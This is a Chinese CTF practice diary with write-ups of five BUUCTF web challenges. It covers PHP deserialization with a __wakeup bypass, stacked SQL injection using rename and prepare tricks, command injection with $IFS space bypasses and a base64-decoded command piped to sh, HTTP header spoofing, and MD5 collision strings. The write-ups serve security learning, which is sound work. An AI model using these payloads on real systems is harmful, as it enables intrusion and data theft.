【BUU刷题日记】——第一周
一、[极客大挑战 2019]PHP1
-
题目说自己有一个备份网站的习惯,所以要了解一下常见的网站源码备份格式及文件名:
格式:tar、tar.gz、zip、rar
文件名:web、website、backup、back、www、wwwroot、temp
排列组合进行尝试之后发现,www.zip文件可以直接下载。
也有的wp上说可以直接扫描网站目录,但是我用dirsearch没有扫到。
-
下载后进行php代码审计:
class.php:
<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>
定义了一个name类,说明题目意思让我们进行反序列化利用。看__destruct函数可以知道如果username='admin'并且password=100就能得到flag。但是这两个变量被强制赋值为'nonono'和'yesyes',并且在反序列化调用wakeup()函数时还会复制为'guest'。
index.php:
<!DOCTYPE html> <head> <meta charset="UTF-8"> <title>I have a cat!</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css"> <link rel="stylesheet" href="style.css"> </head> <style> #login{ position: absolute; top: 50%; left:50%; margin: -150px 0 0 -150px; width: 300px; height: 300px; } h4{ font-size: 2em; margin: 0.67em 0; } </style> <body> <div id="world"> <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯 </div> <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!! </div> <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;"> <?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?> </div> <div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div> </div> <script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script> <script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script> <script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script> <script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script> <script src="index.js"></script> </body> </html>
看php部分知道使用select进行传参。
flag.php
<?php $flag = 'Syc{dog_dog_dog_dog}'; ?>
没啥用, 应该编码之后得到flag。
-
利用
基本payload:
<?php class Name{ private $username='admin'; private $password = 100; } $test=new Name(); echo serialize($test); ?>
为什么Payload中Name类里不写方法,因为在序列化时只针对变量,写上方法也不会被序列化。
输出中,因为$username和$password是私有变量,在输出时会产空白符(在一些输出中也可能是乱码),所以需要加上%00,变为:
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
同时我们需要绕过反序列化时调用的wakeup()函数(CVE-2016-7124,PHP5<5.6.25,PHP7 < 7.0.10),即当成员属性数目大于实际数目时即可绕过wakeup()函数,所以将序列化后字符串中原本的2,改为3:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
-
执行
得到flag。
总结
- 网站一般的备份文件名
- 私有变量序列化后要在变量名前加%00类名%00
- wake_up函数绕过:让变量数量字段的值大于实际的变量数
二、[强网杯 2019]随便注1
-
先测试一下是什么类型注入:
输入1':
输入1'#:
由此可见是字符型输入,单引号闭合,‘#’注释。
-
查询字段数:
1' order by 3#
然后order by 2返回正常,说明表中有两个字段。
-
使用联合注入:
1' union select 1,3#
对一些关键词进行了规避。
-
使用堆叠注入
通过在语句后加分号实现同时执行两条语句:
1'; show databases;#
查询表名:
1';show tables;#
查询列名:
1';show columns from 1919810931114514;#
无回显,
1';show columns from words;#
不知道两者为啥不一样。网上的wp中提到数据库名使用`进行包围,具体区别:
- `和'在linux下不区分,在windows下区分
- `用于对数据库名、表名、列名进行引用;当字段值和mysql保留字相同,则必须使用反引号进行区分
- '用于对字段值进行应用
于是尝试:
1';show columns from `1919810931114514`;#
看到flag表。
-
进行利用:
-
重命名数据库(因为select字段被过滤,所以可以让程序中本来存在的select帮助我们完成查询;因为该语句是在words表中进行查询,所以先将19表现重命名为words,然后将flag字段重命名为id字段):
1'; rename table words to word2; rename table `1919810931114514` to words; alter table words change flag id varchar(50);
执行成功。
直接查询表中所有的值:
1' or 1=1 #
因为语句为select * where id = '1' or 1=1#其中1=1恒为真,所以where的条件恒为真,相当于查询表中所有数据。
-
预编译语句
set @tb = 'student'; //设置表名 set @sql = concat('select * from',@tb); //将表名与查询语句连接,设置sql语句 PREPARE name from @sql; //预定义sql语句 excute name; //执行语句
(DEALLOCATE || DROP) PREPARE sql; 删除语句
本题中可以使用concat()将拆开后的select字符串进行连接,从而规避了对select的过滤:
1';
set @sql=concat('se','lect * from1919810931114514
');
prepare name from @sql;
excute name;#### 总结 - 堆叠注入 - 预编译绕过,重命名绕过 - show()查看列名
-
三、[GXYCTF2019]Ping Ping Ping 1
-
观察题目猜到应该让我们通过ip传参:
/?ip=127.0.0.1
-
在命令后再输入一条命令看能不能执行:
/?ip=127.0.0.1;ls
-
cat一下看看能不能直接查看:
/?ip=127.0.0.1;cat flag.php
说明空格被过滤了。
linux下空格可用这些来替换:<、<>、$IFS
url中可以进行替换:%20(space)、%09(tab)
-
尝试一下
/?ip=127.0.0.1;cat$IFS$1flag.php
说明可以使用$IFS$1进行绕过。
-
查看上级路径信息:
/?ip=127.0.0.1;cd$IFS$../;ls
-
查看index.php
/?ip=127.0.0.1;cat$IFS$1index.php
-
尝试使用其他方法查看:
使用拷贝文件到另一个文件看看:
/?ip=127.0.0.1;cp$IFS$1flag.php$IFS$1test.php
访问失败。
为了绕过对flag.php关键词的过滤,考虑base64编码:
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw$IFS$1|$IFS$1base64$IFS$1-d$IFS$1|$IFS$1sh
'Y2F0IGZsYWcucGhw'为'cat flag.php'的base64编码格式
不要以为没有成功,直接f12查看源码:
-
其他方法
看了题解发现还有其他姿势:
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
因为源代码中使用了变量a,所以可以进行替换,从而规避关键词'flag'
使用内联执行,直接对执行ls后的所有文件进行cat:
?ip=127.0.0.1;cat$IFS$9`ls`
总结
- $IFS$1绕过空格过滤
- base64编码命令并执行
- 内联执行
- 变量赋值之后替换原规避字段
四、[极客大挑战 2019]Http1
-
查看源码
访问之后如下:
提示我们不是来自'https://Sycsecret.buuoj.cn',据此想到浏览器的referer字段:
-
Referer欺骗
Referer字段:http请求头中的referer字段主要是标识请求端是通过什么路径向该网站进行访问。
例如下图中,我们在bing中随便点击一个其他网页,在该请求头中就会标识Referer为www.bing.com
referer欺骗:是指我们抓包修改请求头的Referer字段,从而对服务器端进行欺骗。可以用在CSRF中,如果服务器端会验证同源策略,那么攻击者就可以referer欺骗。
-
利用
抓包添加Referer字段,并且将User-Agent改为Syclover(因为Referer欺骗之后页面会让你改浏览器,不再赘述):
发送:
-
X-Forwarded-For:
X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。因此,我们只需要在包中在在加上:X-Forwarded-For: 127.0.0.1
总结
- 考察了对http几个字段的了解
- referer和x-forwarded-for
五、[安洵杯 2019]easy_web1
-
观察url
http://dda91009-f620-4ebb-a060-da2e32761ceb.node4.buuoj.cn:81/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
可见存在一个base64编码,进行两次解码:
3535352e706e67
16进制转字符串:
555.png
据此,我们可以知道其传参的编码方式,可以通过img参数访问其他文件。
-
尝试访问index.php
现将字符串'index.php'转化成16进制,然后进行两次base64编码:
img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
![image-20221128110650180](https://raw.githubusercontent.com/CaptainGrun/typora_images/blogs/BUU/image-20221128110650180.png)
源码中出现一堆base64编码,进行解码后:
~~~php
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
-
观察源码
参数编码部分:
$file = hex2bin(base64_decode(base64_decode($_GET['img']))); $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
php语句过滤:
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "<br>"; }
md5验证:
(string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])
-
php正则语句绕过
观察正则语句,可以发现绕过了一些cat,ls等查看的命令,再查看反斜杠部分:|\\|\\\\|。在php中想要过滤反斜杠需要过滤\\\\,因为存在两次解析。首先是php的解析,将\\\\解析成\\,然后正则表达式里再将\\解析为\。
但是在本题的反斜杠部分|\\|\\\\|中,首先php将其解析为|\|\\|,然后在正则表达式中再将其解析为||\|,所以最后\并没有被过滤,而是过滤了|\。因此可以使用反斜杠绕过:l\s,c\at。
-
md5碰撞
md5碰撞在php中分为强比较和弱比较
-
弱比较
if(md5($A)==md5($B)&&string($A)!=string($B))
数组绕过:$A[]=1,$B[]=2;因为在php中数组没有md5值,所以md5($A)=md5($B)=null
科学计数法绕过:在php的弱比较中,如果等号两边都是0e开头,那么等号会将其作为科学计数法的形式进行比较(0e123在php中就是0的123次方),因为0的任何次方都是0,因此可以绕过弱等于,下面是一些字符串和其对应的md5值:
aabg7XSs 0e087386482136013740957780965295 QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469
-
强比较
if(md5($A)===md5($B)&&string($A)!==string($B))
数组绕过:同上
强碰撞:
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
这两串编码的md5值相同,其产生是将两个非常相似的长字符串(16进制)转化成asccii码然后再写入到二进制文件,这两个文件的md5值相同。然后将文件内容使用url编码即可。
-
-
利用
根据上面php正则过滤和md5比较的漏洞可以进行利用:
可以看到dir命令没有被过滤,并且执行成功,说明md5比较部分绕过成功。
下面直接使用cat /flag进行flag的读取,同时需要增加\来过滤规避:
总结
- php正则匹配规则
- php匹配/符号时会解析两次
- md5强比较、弱比较
参考链接: